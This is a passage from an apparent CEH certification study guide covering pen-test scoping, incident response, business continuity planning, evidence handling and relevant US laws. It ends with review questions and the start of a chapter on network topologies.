not have: Ethical hackers not only will have permission prior to starting the first
phase but will also be generating a report that they will present at the end of the
process. The ethical hacker will be expected to keep detailed notes about what is
procured at each phase for later generation of that report.
When you decide to carry out this process, seek your client’s guidance and ask the
following questions along with any others that you think are relevant. During this phase,
your goal is to clearly determine why a pen test and its associated tasks are necessary.
Why did the client request a pen test?
What is the function or mission of the organization to be tested?
What will be the constraints or rules of engagement for the test?
What data and services will be included as part of the test?
Who is the data owner?
What results are expected at the conclusion of the test?
What will be done with the results when presented?
What is the budget?
What are the expected costs?
What resources will be made available?
What actions will be allowed as part of the test?
When will the tests be performed?
Will insiders be notified?
Will the test be performed as black or white box?
What conditions will determine the success of the test?
Who will be the emergency contacts?
Pen testing can take several forms. You must decide, along with your client, which tests
are appropriate and will yield the desired results. Tests that can be part of a pen test may
include the following:
An insider attack is intended to mimic the actions that may be undertaken by internal
employees or parties who have authorized access to a system.
An outsider attack is intended to mimic those actions and attacks that would be
undertaken by an outside party.
A stolen equipment attack is a type of attack where an aggressor steals a piece of
equipment and uses it to gain access or extracts the information desired from the
equipment itself.
A social engineering attack is a form of attack where the pentester targets the users of
a system seeking to extract the needed information. The attack exploits the trust
inherent in human nature.
Once you discuss each test, determine the suitability of each, and evaluate the potential
advantages and side effects, you can finalize the planning and contracts and begin testing.
When you are undertaking an actual test against a system or environment you must be
prepared to think as a malicious party would in the same conditions. Remember that as a
pentester you must understand the tools and techniques and use them the same way a
bad guy would; however, you temper that with the mindset that you are doing this to help
the client and only with their permission would you carry out a test. Be prepared for
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problems to arise and roadblocks to emerge during the test; you’ll have to deal with them
each accordingly much like a malicious party would when attacking a target. The idea is to
understand how an attack can or would happen, what an attacker would encounter, and
how to defeat it. You must understand both sides, the good and the bad, and use this
knowledge to help the clients and customers.
Penetration testing does require rules to be agreed upon in advance in every case. If a
penetration tester chooses to perform a penetration test without having certain
parameters determined ahead of time, it may be the end of that tester’s career if
something profoundly bad occurs. For example, not having the rules established prior to
engaging in a test could result in criminal or civil charges, depending on the injured party
and the attack involved. It is also entirely possible that without clearly defined rules, an
attack may result in shutting down systems or services and stopping the functioning of a
company completely, which again could result in huge legal and other issues for the
tester.
With these goals in mind and a good plan, a penetration tester should be on track to
extract valuable information from the target. Whatever vulnerabilities, weaknesses, or
other problems you find during your test should be fully documented and ranked in order
of seriousness or importance. Once this is complete, the tester should be prepared to
present a detailed report of their findings to the client. Presentation of the report may be
the last task the tester has, or there may be additional steps. Expect any one of the
following outcomes to occur upon completion of the testing phase:
Presentation of the report to the client—This is just what it states; the report is
generated and handed over to the client, and if they need any further explanations or
discussion they will request it. If no explanation is needed, then the testing and
reporting process is complete and the job is finished.
Presentation plus recommendations—If the client requests it, the tester will explain
the results of the test and then propose recommendations to fix the problems
discovered. The client may not ultimately use all or any of the recommendations, but
they will request them to see what needs to be done.
Presentation plus recommendation with remediation—In this particular outcome the
test is completed and the review and recommendations are made. What differentiates
this outcome from the others is that the client asks the tester to get involved at some
level with actually implementing fixes.
Ultimately the client will determine what the next steps are and if this actually involves
the testing party or not. The client will decide what the perfect balance of security versus
convenience is in their environment and if the recommended fixes will maintain their
desired balance. In other words, the client should not look at the results and immediately
start thinking that they must fix every problem because doing so may impair the
usefulness of the system. If the problems uncovered necessitate action, the next
challenge is to ensure that if security controls are modified or if new ones are put in place,
existing usability is not adversely affected.
Your role as a penetration tester is to provide your expertise to the client and try to
answer their questions. Be proactive and attempt to address questions that they may have
ahead of time, and always be available to answer questions after the fact should they have
questions later on about your report.
Vulnerability Research and Tools
An important part of your toolkit as an ethical hacker will be the information gathered
from vulnerability research. This process involves searching for and uncovering
vulnerabilities in a system and determining their nature. In addition, the research seeks
to classify each vulnerability as high, medium, or low. You or other security personnel can
use this research to keep up to date on the latest weaknesses involving software,
hardware, and environments.
The benefit of having this information is that an administrator or other personnel could
use this information to position defenses. The information may also show where to place
new resources or be used to plan monitoring.
Vulnerability research is not the same as ethical hacking in that it passively uncovers
security issues, whereas the process of ethical hacking actively looks for the
vulnerabilities. However, vulnerability scanning may be utilized as part of a test but not
by itself.
What Is Incident Response?
As a penetration tester your job is to provide information that will reduce the chance of a
security breach or incident to the lowest possible level, but does a regular user have no
responsibility? Absolutely not; users have an important role to play as well. So as a wellprepared individual, you must plan how you will react when a security incident occurs or
follow the plans the company or client provides to you. Planning ahead or knowing plans
others have made will be beneficial because it will give you the edge when determining
what to do after an incident and how to do it. Proper security incident response will
determine if an incident is dealt with swiftly and completely or if it gets worse and out of
control.
One of the first things to keep in mind when thinking about incident response is the fact
that you may very well be dealing with something that falls under the banner of crime
and as such will require that you take special care. Responding to an incident of computer
crime can be particularly challenging and should be left to professionals because the
evidence that needs to be collected is intangible and can prevent a case from being
prosecuted if you damage it.
Before going too far, however, it is worth defining what is inferred by the term computer
crime. Computer crime is defined as any criminal act during which a computer or
computing device is used in the commission of a crime. The goal of computer crime can
be anything that negatively impacts in some way, shape, or form the operations of a
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company, individual, or government. By its very nature computer crime does not
discriminate against activities that are initiated via the Internet or launched internally
against a private network.
Incident Response Policies
The next detail that is important when considering incident response is incident response
policy (IRP). The IRP defines the course of action that a company or organization will
take in the time following a security incident. An IRP specifies many details, but the
following are usually always included:
Who will determine when and if a security incident has occurred
Which individuals and/or departments are to be notified
The means through which they will be notified
Who will be responsible for responding to the incident
Appropriate response guidelines
What you as a system administrator will be responsible for doing in the event of an
incident
So who will be involved in the incident response process? This depends on the
organization, assets involved, and the overall severity of the situation. Several
departments within an organization can work together such as human resources, public
relations, information technology, corporate security, and others. The idea is to get the
appropriate personnel and departments involved in order to properly deal with the
situation at hand. The personnel involved can also determine which information can be
released and to whom. For example, employees may not be privy to all the details of a
security incident and may be informed only on a need-to-know basis.
Typically you will not be included in the development of this policy, but you will be
included as someone who must follow it when the time comes and an incident has been
declared by the person in charge.
Phases of an Incident and Response
There exist a number of phases in the incident response process; each incident will
traverse these phases as the incident occurs, evolves, and moves to its final resolution.
While an end user will not be truly aware of each of the phases of incident response,
having some idea of the big picture may help you understand what you are doing and why
you are being asked to do it. Each phase has distinct actions that take place within it,
which you will learn more about as you move on, but for now let’s take a high-level look
at the incident response process itself. Table 1.2 covers what is generally accepted by the
National Institute of Standards and Technology (NIST) and others as the phases of
incident response.
Table 1.2 The phases of incident response
Phase
Description
Response
It is important to early on establish just what has actually occurred. Is the
incident an actual security incident or is it something else? The incident
response team will be the ones responsible for making this determination
as well as making the determination or discovery as to what was impacted.
Triage
The next step after the determination that a security incident has occurred
is to determine how seriously the incident has impacted critical systems.
Remember, not all systems or services will be affected the same way, and
so some will require more attention than others. Also remember that some
systems are more mission critical than others and will require more
attention as well. In a computer crime security incident scenario, once the
incident response team has evaluated the situation and determined the
extent of the incidents, a triage approach will be implemented and the
situation will be responded to according to criticality. If multiple events
have occurred, the most serious event will be addressed first and
remaining events will be investigated based on risk level.
Investigation Once the response team discovers the cause of the problem, the
investigative process can start. The investigation is designed to
methodically collect evidence without destroying or altering it in any way.
This process can be performed by internal personnel or by an external
team where appropriate. The key point in either case is that the team
involved in the investigative process understands how to collect the
evidence properly because the end result of the process may be to take this
collected information to court. So who may investigate a security incident
may vary depending on the extent and type of security breach. In some
cases internal teams or consultants may be all that’s needed to investigate
and analyze a crime scene; however, in some cases that may not be
enough. It is possible under certain conditions to get local law
enforcement involved in the investigation of a crime. This option will vary
depending on the skills that the local law enforcement have. Some police
departments are adept at dealing with computer crime, but this is not
always the case. Investigations should never be taken lightly, and once
local law enforcement is involved other issues arise. Police departments
may not be able to respond in a timely fashion because corporate security
problems are not part of the police mission and therefore are low priority.
Containment It is necessary early on in the process of incident response to contain and
control the crime scene as much as possible. When considering a crime
scene it is important that no alterations or tampering of any sort occur to
avoid damaging of evidence. This means that the crime scene should not
be tampered with in any way including disconnecting any devices, wires, or
peripherals or even shutting down the system. It is important to let trained
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professionals do their job at the crime scene.
Analysis and Evidence that has been gathered is useless unless it is examined and
tracking
dissected to determine what has occurred. At this point the company will
either be involving external professionals to examine the evidence or
employing its own internal teams. These teams will be responsible for
determining what evidence is relevant to the investigation and what is not.
Additionally the team must maintain the chain of custody, which means
that evidence must be accounted for and under positive control of the team
at all times.
Recovery
During the recovery phase it is assumed that all relevant evidence has been
collected and the crime scene has been cleaned. At this point the crime
scene investigation has been completed and the effected systems can be
restored and returned to service. This process will include restoring and
rebuilding operating systems with their applications and data from
backups or drive images.
Repair
In the event that a system has experienced substantial damage in the
course of an attack, it becomes necessary to repair the system. The
recovery process is designed to deal with rebuilding a system after
evidence has been collected, but it does not account for potential damage
done that may need to be repaired. Also, the collection of evidence may
have required the removal of components to preserve the evidence, and
those components will need to be replaced.
Debriefing When the situation is under control, you will need to debrief and obtain
and feedback feedback from all involved. The incident happened for a reason;
presumably at this point you have determined what this reason is, at least
in some part. The goal of this phase is to determine what the company did
right, what it did wrong, and how to improve. Additionally, depending on
the crime it may be necessary to start the process of informing clients and
other agencies and regulatory bodies of the breach. This last point may be
the most important one because failure to inform the appropriate
regulatory bodies can mean you or your company is guilty of a crime.
It is important to note that the actual phases described here may vary wildly between
organizations because they fine-tune the incident response process to their own needs.
You may work in an industry that is heavily regulated and that has its own requirements
that dictate a unique incident response process.
Incident Response Team
As organizations grow in size and importance it is likely that they will build or already
have a group known as an incident response team. These teams will comprise individuals
who have the training and experience to properly collect and preserve evidence of a crime
and the associated components of the response process. You may, depending on your
experience and background, be asked to participate in these teams in the event an
incident occurs. Of course, you will know ahead of time and be prepared so you are ready
when and if the call ever comes. As part of the incident response team, you must be both
properly trained and have the requisite experience to respond to and investigate any
security incident.
One of the components of incident response is the first individuals to respond when an
incident is reported. In the broadest sense this can be the individuals appropriate for the
security incident, including the following:
IT personnel
Human resources
Public relations
Local law enforcement
Security officers
Chief security officer
The goal of security response is to have a team in place that is well versed and aware of
how to deal with security incidents. These members will know what to do and have been
drilled on how to do it in the event an incident occurs. You may be asked, if you are not a
member of the team, to contact certain individuals if a security incident occurs and
determine what information to provide these first responders in order for them to do
their job properly.
Incident Response Plans
Once a security incident has been recognized and declared, it is vital that the team have a
plan to follow. This plan will include all the steps and details required to investigate the
crime as necessary.
Some of the elements required to investigate a security crime are the following:
If an IRP exists and is relevant, follow the process outlined in this plan.
If an IRP does not currently exist, is out of data, or is irrelevant, then designate a lead
examiner for the process so there is a coordinated response.
Examine and evaluate the nature of the events that occurred and, as much as possible,
determine the damage that has been incurred by the systems, services, and other
items involved.
Document and identify all involved components of the incident as completely as
possible.
Undertake a complete analysis to determine the different risk priorities for all
systems, services, and other processes involved.
Evaluate the need for outside expertise or consultants.
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Determine if local law enforcement involvement is needed.
Determine how to contain the crime scene, including hardware, software, and other
artifacts present.
Decide how to collect the required evidence at the crime scene with special provisions
for electronic evidence, hardware, and other items.
Set up a procedure for interviewing personnel who may have additional knowledge or
other information to share that would be beneficial to investigating the crime scene.
Put in place a reporting mechanism for the crime and determine who should receive
the report, such as regulatory bodies.
Business Continuity Plan
At some point you may be asked to follow a business continuity plan (BCP). This policy
defines how the organization will maintain what is acceptable as normal day-to-day
business in the event of a security incident or other event disruptive to the business. This
plan will be called into play in the event that a disaster or severely disruptive event occurs
and causes the business to become unavailable. If a company provides services to
customers or clients and the business becomes unavailable, the company loses both
money and the faith of its customers—something that no business wants to experience.
The importance of the BCP cannot be understated because it is necessary in ensuring that
the business continues to perform and can continue to operate on a limited basis through
a disaster. A BCP is designed to ensure that vital systems, services, and documents that
support the business remain available to alert key stakeholders and recover assets even
when the bulk of critical systems are down.
Next to a BCP, and closely intertwined with it, is a disaster recovery plan (DRP). This
document outlines a policy that defines how personnel and assets will be safeguarded in
the event of a disaster and how those assets will be restored and brought back to an
operating state once the disaster passes. The DRP typically will include a list of
responsible individuals who will be involved in the recovery process, an inventory of vital
hardware and software, steps to respond to and address the outage, and how to rebuild
affected systems.
Supporting Business Continuity and Disaster Recovery
Several techniques can be used to keep the organization running and diminish the impact
of a disaster when it occurs. Some of these techniques are discussed in this section. While
some or all of these techniques may be out of your control, they are provided here for you
to understand what IT will do to keep services available for you and clients.
Fault tolerance is a valuable tool in the company arsenal because it provides the ability to
weather potential failures while providing some measure of service. While this service
may not be optimal, it should be enough to maintain some business operations even if
not at the normal level of performance. Fault-tolerant mechanisms include service and
infrastructure duplication designed to handle a component failure when it occurs.
Another mechanism commonly used by companies is high-availability architecture. This
is simply a gauge of how well the system is providing its services, specifically how
available the system actually is. Ideally a system should be available 100 percent of the
time, but in practice this is usually not possible and over long periods of time unlikely.
High availability simply states, as a percentage, how available a system is, so the closer a
system’s availability is to 100 percent, the less time it spends offline. High availability can
be attained by having redundant systems and reliable backup systems. When
implemented properly, it means that the services you rely on to do your job and provide
service to clients are available and ready to use for the greatest possible amount of time.
A document that is commonly mentioned when discussing high availability and fault
tolerance is a service-level agreement (SLA). This document spells out the obligations of
the service provider to you, the client. Specifically, an SLA is a legal contract that lays out
what the service provider will provide, at what performance level, and steps that will be
taken in the event of an outage. For an idea of what an SLA looks like, you can look at the
contract you signed with your cell phone provider. Cell phone providers use this
document to describe what they will provide and what you can expect should an outage
occur. This document can include specific performance and availability levels that are
expected and the associated penalties for not meeting these levels. Additionally it will
spell out the parties responsible and the extent of their responsibilities in the event of a
disaster, such as who will take care of the problems related to the disaster.
Alternate sites are another technique used in the event of a system failure or disaster. The
idea is to have another location to conduct business operations from in the event of a
disaster. Under ideal conditions all operations will be moved to an alternate site if the
primary or normal site is no longer able to provide services.
Not all alternate sites are created equal, however. There are three types of sites that an
organization can use:
Cold site—This is the most basic type of alternate site and the least expensive to
operate. A cold site, by normal definition, does not include backed-up copies of data or
configuration data from the primary location. It also does not have any sort of
hardware set up and in place. The lack of these essentials makes the cold site the
cheapest option but also contributes to greater outage times because this
infrastructure will need to be built and the data restored prior to going back online.
Warm site—This is the middle-of-the-road option, offering a balance between expense
and outage time. A warm site typically has some if not all of the hardware in place,
with other items such as power and Internet connectivity already established though
not to the degree that the primary site has in place. This type of site also has some
backups on hand, though they may be out of date by several days or even weeks.
Hot site—This is the top option as far as capabilities go, offering little to no downtime
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and the greatest expense. This type of site typically has a high degree of
synchronization with the primary site up to the point of completely duplicating the
primary site. The setup requires a high degree of complexity in the form of complex
network links and other systems and services designed to keep the sites in sync. This
level of complexity adds to the expense of the site but also has the advantage of
substantially reduced (or eliminated) downtime.
Before an alternate site can work, however, the company must have a data backup, and
this backup must be kept secure because it contains information about the company, its
clients, and its infrastructure. Backups should be stored safely and securely, with copies
kept both onsite and offsite to give optimal protection. In addition, backups should always
be stored on separate media and ideally in a locked location offsite. Most of the time,
these backups are encrypted for further protection of unauthorized disclosure if stolen.
Other safeguards should be taken to protect the backups from environmental concerns
such as fire, floods, and earthquakes, to name a few.
Recovering Systems
Secure recovery requires a number of items to be in place; primary among these is the
requirement to have an administrator designated to guide the recovery process. This
administrator may come to you as a trained employee to carry out the recovery process.
They may ask you to follow specific steps that you will have been trained in and indicate
what needs to be restored. As is the case with any backup and recovery process, you will
need to review the steps and relevance of the process and update the process where
necessary or at least consult with experts on what to do.
Planning for Disaster and Recovery
In order to properly plan for disaster recovery you will need to know where you stand,
specifically where the company stands. You need to completely assess the state of
preparedness of the organization and understand what you need to do to be properly
prepared.
In order to properly plan for disaster recovery, you should observe the following
guidelines and best practices:
Once your organization has established a BCP it is important for this plan to undergo
regular testing and review. Consider conducting simulations and drills designed to
evaluate the efficacy of the plan.
If the company has not recently tested the DRP, make it a point to do so. Much like
BCPs, consider the use of drills and other similar types of simulations to evaluate how
well the DRP functions.
Always consider and evaluate the proper redundancy measures for all critical
resources. Look for adequate protection for systems such as servers, routers, and
other devices in the event they are needed for emergency use.
Check with all critical service providers to ensure that they’ve taken adequate
precautions to guarantee that the services provided will be available.
Check for the existence or the ability to obtain spare hardware wherever necessary.
Ensure that the devices are not only appropriate for use but also can be obtained
quickly in an emergency.
Evaluate any existing SLAs currently in place so that you know what constitutes
acceptable downtime.
Establish mechanisms for communication that do not require the company resources,
which may be unavailable. Such communication channels should also take into
account that power may be unavailable.
Ensure that the organization’s designated hot site can be brought online immediately.
Identify and document any and all points of failure, as well as any up-to-date
redundancy measures that have been put in place to safeguard these points.
Ensure that the company’s redundant storage is secure.
Once the incident response process has been defined, at a high level at this point, you can
turn your attention to the collection of evidence from a crime scene. While you may be
involved in this process, it is possible that you will require special teams or external
consultants for this task.
In many cases companies will have specially trained professionals on staff or externally
contracted to respond to security incidents and collect evidence. It is important for you to
know which it is or at the very least who to contact in the event an incident happens.
Evidence-Collection Techniques
Proper collection of evidence is essential as stated previously and is something that is
best left to professionals. In addition, when a crime has been suspected it becomes
mandatory to have trained professionals involved in the process. If this is not you, then
you should not disturb the crime scene; rather you should contact a manager or someone
in charge for guidance on how to proceed. The process here is really one of forensics—the
methodical and defensible process of collecting information from a crime scene. This
process is best left to those professionals trained to do so because novices can
inadvertently damage evidence in such a way that makes the investigation impossible or
indefensible in court. Trained personnel will know how to avoid these blunders and
properly collect everything relevant.
Evidence Types
Evidence is the key to proving a case, and not all evidence is created equal and should not
be treated as such. Collecting the wrong evidence or treating evidence incorrectly can
have an untold impact on your company’s case, which should not be underestimated.
Table 1.3 lists some of the different types of evidence that can be collected and what
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makes each unique.
Table 1.3 Types of evidence
Evidence
Description
Best
The best evidence is category evidence that is admissible by requirement
in any court of law. The existence of best evidence eliminates your ability
to use any copies of the same evidence in court.
Secondary
Secondary evidence is a copy of the original evidence. This could be items
such as backups and drive images. This type of evidence may not always
be admissible in a court of law and is not admissible if best evidence of
the item exists.
Direct
Direct evidence is received as the result of testimony or interview of an
individual. This individual could have obtained their evidence as a result
of observation. Evidence in this category can be used to prove a case
based on its existence.
Conclusive
Conclusive evidence includes that which is above dispute. Conclusive
evidence is considered so strong that it directly overrides all other
evidence types by its existence.
Opinion
Opinion evidence is derived from an individual’s gut feelings. Opinion
evidence is divided into the following types: Expert–Any evidence that is
based on known facts, experience, and an expert’s knowledge. Nonexpert–Any evidence that is derived from fact alone and comes from a
non-expert in the field.
Corroborative Corroborative evidence is obtained from multiple sources and is
supportive in nature. This type of evidence cannot stand on its own and
is used to bolster the strength of other evidence.
Circumstantial Circumstantial evidence can be obtained from multiple sources, but
unlike corroborative evidence it is only able to indirectly infer a crime.
Chain of Custody
When collecting evidence the chain of custody must be maintained at all times. The chain
of custody documents the whereabouts of the evidence from the point of collection to the
time it is presented in court and then when it is returned to its owner or destroyed. The
chain is essential because any break in the chain or question about the status of evidence
at any point can result in a case being thrown out. A chain of custody needs to include
every detail about the evidence, from how it was collected up to how it was processed.
A chain of custody can be thought of as enforcing or maintaining six key points. These
points will ensure that you focus on how information is handled at every step:
What evidence has been collected?
How was the evidence obtained?
When was the evidence collected?
Who has handled the evidence?
What reason did each person have for handling the evidence?
Where has the evidence traveled and where was this evidence ultimately stored?
Also remember if you are involved to keep the chain of custody information up to date at
all times. Every time any evidence is handled by an investigator, you must update the
record to reflect this. You may be asked at some point to sign off on where evidence was
or that it was collected from you; this would be an example of where you would fit in
regard to the chain of custody. This information should explain every detail such as what
the evidence actually consists of, where it originated, and where it was delivered to. It is
important that no gaps exist at any point.
For added legal protection, evidence can be validated through the use of hashing to prove
that it has not been altered. Ideally the evidence you collected at the crime scene is the
same evidence you present in court.
Remember, a verifiable or non-verifiable chain of custody can win or lose a case.
Rules of Evidence
All evidence, no matter the type, may not be admissible in court. Evidence cannot be
presented in court unless certain rules are followed, and you should review those rules
ahead of time. The five rules of evidence presented here are general guidelines and are
not consistent across jurisdictions:
Reliable—The evidence presented is consistent and leads to a common conclusion.
Preserved—Chain of custody comes into play and the records help identify and prove
the preservation of the evidence in question.
Relevant—The evidence directly relates to the case being tried.
Properly identified—Records can provide proper proof of preservation and
identification of the evidence.
Legally permissible—The evidence is deemed by the judge to fit the rules of evidence
for the court and case at hand.
Recovering from a Security Incident
When a security incident happens, and it will happen, the company should have a plan to
restore business operations as quickly and effectively as possible. This may require you
and possibly your team to correctly assess the damage, complete the investigation, and
then initiate the recovery process. From the time of the initial security incident onward,
the organization presumably has been operating at some reduced capacity, and so you
need to recover the systems and environment as quickly as possible to restore normal
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business operations. Other key requirements are the need to generate a report on what
happened and the ability to communicate with appropriate team members.
Reporting a Security Incident
Once an incident has been responded to and a team has gotten involved to assess the
damage and start the cleanup, the required parties will need to be informed. These parties
will be responsible for getting the ball rolling whether it is legal action, an investigative
process, or other requirements as necessary.
When considering how to report a security incident the following guidelines are worth
keeping in mind and can prove helpful at the time of crisis:
Adhere to known best practices and guidelines that have been previously established.
These best practices and guidelines will describe how to best assess the damage and
implement loss control as necessary.
Wherever feasible refer to previously established guidelines as documented and
described in the company IRP. The IRP should include guidelines on how to create a
report and who to report to. Furthermore, the IRP should define the formats and
guidelines for putting the report together in order to ensure that the information is
actually usable by its intended audience.
Consider the situations where it is necessary to report the incident to local law
enforcement in addition to the company officials.
Consider the situations and conditions about when and if the security incident must
be reported to regulatory bodies as required by law.
In situations where security incidents are reported outside the organization, note this
in the company incident report.
During the preparation of a security incident report include all the relevant information
to detail and describe the incident. The following items should be included at a minimum:
A timeline of the events of the security incident that includes any and all actions taken
during the process.
A risk assessment that includes extensive details of the state of the system before and
after the security incident occurred.
A detailed list of any and all who took part in the discovery, assessment, and final
resolution (if this has occurred) of the security incident. It is important to include
every person who took part in this process regardless of how important or
unimportant their role may be perceived.
Detailed listing of the motivations for the decisions that were made during the
process. Document these actions in a format that states what each action was and
what factors led to the decision to take the designated action.
Recommendation as to what could be done to prevent a repeat of the incident and
what could be done to reduce any damage that may result.
Two sections in the report to ensure that it is usable by all parties. First, prepare a
long-format report that includes specific details and actions that occurred during the
security incident. Second, include an executive-level summary that provides a highlevel, short-format description of what occurred.
Ethics and the Law
As an ethical hacker, you need to be aware of the law and how it affects what you do.
Ignorance or lack of understanding of the law not only is a bad idea but can quickly put
you out of business—or even in prison. In fact, under some situations the crime may be
serious enough to get you prosecuted in several jurisdictions in different states, counties,
or even countries due to the highly distributed nature of the Internet. Of course,
prosecution of a crime can also be difficult considering the web of various legal systems
in play. A mix of common, military, and civil law exists, requiring knowledge of a given
legal system to be successful in any move toward prosecution.
As an ethical hacker you must also obey the Code of Ethics as defined by the EC-Council.
One thing to remember though about ethics is that while you can get in legal trouble for
violating a law, breaking a code of ethics won’t get you in legal trouble but could lead to
other actions such as getting decertified.
Depending on when and where your testing takes place, it is even possible
for you to break religious laws. Although you may never encounter this problem, it is
something that you should be aware of—you never know what type of laws you may
break.
Always ensure that you exercise the utmost care and concern to ensure that you observe
proper safety and avoid legal issues. When your client has determined their goals along
with your input, together you must put the contract in place. Remember the following
points when developing a contract and establishing guidelines:
Trust The client is placing trust in you to use proper discretion when performing a
penetration test. If you break this trust, it can lead to the questioning of other details such
as the results of the test.
Legal Implications Breaking a limit placed on a test may be sufficient cause for your
client to take legal action against you.
The following is a summary of laws, regulations, and directives that you should have a
basic knowledge of:
1973—U.S. Code of Fair Information Practices governs the maintenance and storage of
personal information by data systems such as health and credit bureaus.
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1974—U.S. Privacy Act governs the handling of personal information by the U.S.
government.
1984—U.S. Medical Computer Crime Act addresses illegally accessing or altering
medication data.
1986 (amended in 1996)—U.S. Computer Fraud and Abuse Act includes issues such as
altering, damaging, or destroying information in a federal computer and trafficking in
computer passwords if it affects interstate or foreign commerce or permits
unauthorized access to government computers.
1986—U.S. Electronic Communications Privacy Act prohibits eavesdropping or the
interception of message contents without distinguishing between private or public
systems.
1994—U.S. Communications Assistance for Law Enforcement Act requires all
communications carriers to make wiretaps possible.
1996—U.S. Kennedy-Kassebaum Health Insurance and Portability Accountability Act
(HIPAA) (with additional requirements added in December 2000) addresses the
issues of personal healthcare information privacy and health plan portability in the
United States.
1996—U.S. National Information Infrastructure Protection Act was enacted in October
1996 as part of Public Law 104-294; it amended the Computer Fraud and Abuse Act,
which is codified in 18 U.S.C. § 1030. This act addresses the protection of the
confidentiality, integrity, and availability of data and systems. This act is intended to
encourage other countries to adopt a similar framework, thus creating a more uniform
approach to addressing computer crime in the existing global information
infrastructure.
2002—Sarbanes–Oxley Act (SOX or SarBox) is a law pertaining to accountability for
public companies relating to financial information.
2002—Federal Information Security Management Act (FISMA) is a law designed to
protect the security of information stored or managed by government systems at the
federal level.
Summary
When becoming an ethical hacker, you must develop a rich and diverse skill set and
mind-set. Through a robust and effective combination of technological, administrative,
and physical measures, organizations have learned to address their given situation and
head off major problems through detection and testing. Technology such as virtual
private networks (VPNs), cryptographic protocols, intrusion detection systems (IDSs),
intrusion prevention systems (IPSs), access control lists (ACLs), biometrics, smart cards,
and other devices has helped security become much stronger but still has not eliminated
the need for vigilance. Administrative countermeasures such as policies, procedures, and
other rules have also been strengthened and implemented over the past decade. Physical
measures include devices such as cable locks, device locks, alarm systems, and other
similar devices. Your new role as an ethical hacker will deal with all of these items, plus
many more.
As an ethical hacker you must know not only the environment you will be working in but
also how to find weaknesses and address them as needed. You will also need to
understand the laws and ethics involved and know the client’s expectations. Understand
the value of getting the proper contracts in place and not deviating from them.
Hacking that is not performed under contract is considered illegal and is treated as such.
By its very nature, hacking activities can easily cross state and national borders into
multiple legal jurisdictions. Breaking out of the scope of a contract can expose you to legal
problems and become a career-ending blunder.
Exam Essentials
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Know the purpose of an ethical hacker. Ethical hackers perform their duties against
a target system only with the explicit permission of the system owner. To do so without
permission is a violation of ethics and the law in some cases.
Know the difference between black, white, and gray box tests. Know the
differences in the types of tests you can offer to your client and the advantages of each.
Not all tests are the same nor will they yield the same results. Make sure you know what
your client’s expectations are so you can choose the most appropriate form.
Understand your targets. Be sure you know what the client is looking to gain from a
pen test early in the process. The client must be able to provide some guidance as to what
they are trying to accomplish as a result of your services.
Understand the Code of Ethics. Be sure you know what is required as acceptable
behavior when you become a CEH. Violations of the ethical code could easily get you
decertified by the EC-Council if serious enough and reported.
Know your opponents. Understand the differences between the various types of
hackers. You should know what makes a gray-hat hacker different from a black-hat
hacker, as well as the differences between all types.
Know your tools and terms. The CEH exam is drenched with terms and tool names
that can eliminate even the most skilled test takers if they don’t know what the question
is even talking about. Familiarize yourself with all the key terms, and be able to recognize
the names of the different tools on the exam.
Review Questions
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1. If you have been contracted to perform an attack against a target system, you are what
type of hacker?
A. White hat
B. Gray hat
C. Black hat
D. Red hat
2. Which of the following describes an attacker who goes after a target to draw attention
to a cause?
A. Terrorist
B. Criminal
C. Hacktivist
D. Script kiddie
3. What level of knowledge about hacking does a script kiddie have?
A. Low
B. Average
C. High
D. Advanced
4. Which of the following does an ethical hacker require to start evaluating a system?
A. Training
B. Permission
C. Planning
D. Nothing
5. A white-box test means the tester has which of the following?
A. No knowledge
B. Some knowledge
C. Complete knowledge
D. Permission
6. Which of the following describes a hacker who attacks without regard for being caught
or punished?
A. Hacktivist
B. Terrorist
C. Criminal
D. Suicide hacker
7. What is a code of ethics?
A. A law for expected behavior
B. A description of expected behavior
C. A corporate policy
D. A standard for civil conduct
8. The group Anonymous is an example of what?
A. Terrorists
B. Script kiddies
C. Hacktivists
D. Grayware
9. Companies may require a penetration test for which of the following reasons?
A. Legal reasons
B. Regulatory reasons
C. To perform an audit
D. To monitor network performance
10. What should a pentester do prior to initiating a new penetration test?
A. Plan
B. Study the environment
C. Get permission
D. Study the code of ethics
11. Which of the following best describes what a hacktivist does?
A. Defaces websites
B. Performs social engineering
C. Hacks for political reasons
D. Hacks with basic skills
12. Which of the following best describes what a suicide hacker does?
A. Hacks with permission
B. Hacks without stealth
C. Hacks without permission
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D. Hacks with stealth
13. Which type of hacker may use their skills for both benign and malicious goals at
different times?
A. White hat
B. Gray hat
C. Black hat
D. Suicide hacker
14. What separates a suicide hacker from other attackers?
A. A disregard for the law
B. A desire to be helpful
C. The intent to reform
D. A lack of fear of being caught
15. Which of the following would most likely engage in the pursuit of vulnerability
research?
A. White hat
B. Gray hat
C. Black hat
D. Suicide hacker
16. Vulnerability research deals with which of the following?
A. Actively uncovering vulnerabilities
B. Passively uncovering vulnerabilities
C. Testing theories
D. Applying security guidance
17. How is black-box testing performed?
A. With no knowledge
B. With full knowledge
C. With partial knowledge
D. By a black hat
18. A contract is important because it does what?
A. Gives permission
B. Gives test parameters
C. Gives proof
D. Gives a mission
19. What does TOE stand for?
A. Target of evaluation
B. Time of evaluation
C. Type of evaluation
D. Term of evaluation
20. Which of the following best describes a vulnerability?
A. A worm
B. A virus
C. A weakness
D. A rootkit
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Chapter 2
System Fundamentals
CEH EXAM OBJECTIVES COVERED IN THIS CHAPTER:
I. Background
A. Networking technologies
C. System technologies
D. Transport protocols
G. Telecommunications technologies
H. Backup and restore
III. Security
A. Systems security controls
B. Application/fileserver
C. Firewalls
E. Network security
O. Trusted networks
P. Vulnerabilities
IV. Tools/Systems/Programs
G. Boundary protection appliances
H. Network topologies
I. Subnetting
K. Domain Name System (DNS)
L. Routers/modems/switches
O. Operating environments
V. Procedures/Methodology
G. TCP/IP networking
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Every skill set comes with a history of time and effort spent learning
those foundational concepts that allow you to become proficient in a specific area. You
are about to embark on a journey through one of those critical areas where understanding
and true investment in the material can improve your technical understanding, your
career, and your odds of passing the CEH exam. This is where it all begins—
understanding those key fundamental concepts that give you a basis on which all other
more complex subjects can firmly rest.
In this chapter, you’ll delve into some basic concepts, most of which system
administrators and network administrators should be comfortable with. These
fundamentals are critical to building a solid base for the more advanced topics yet to
come. You’ll learn about key concepts such as the OSI model, the TCP/IP suite,
subnetting, network appliances and devices, cloud technologies, and good old-fashioned
client system concepts and architectures. Ever hear the phrase “where the rubber hits the
road”? Well, consider this a burnout across a quarter-mile drag strip. Let’s dig in and
devour this material!
Exploring Network Topologies
Whether you are a veteran or a novice—or just have a bad memory—a review of
networking technologies is helpful and an important part of understanding the attacks
and defenses that we’ll explore later on.
Network topologies represent the physical side of the network, and they form part of the
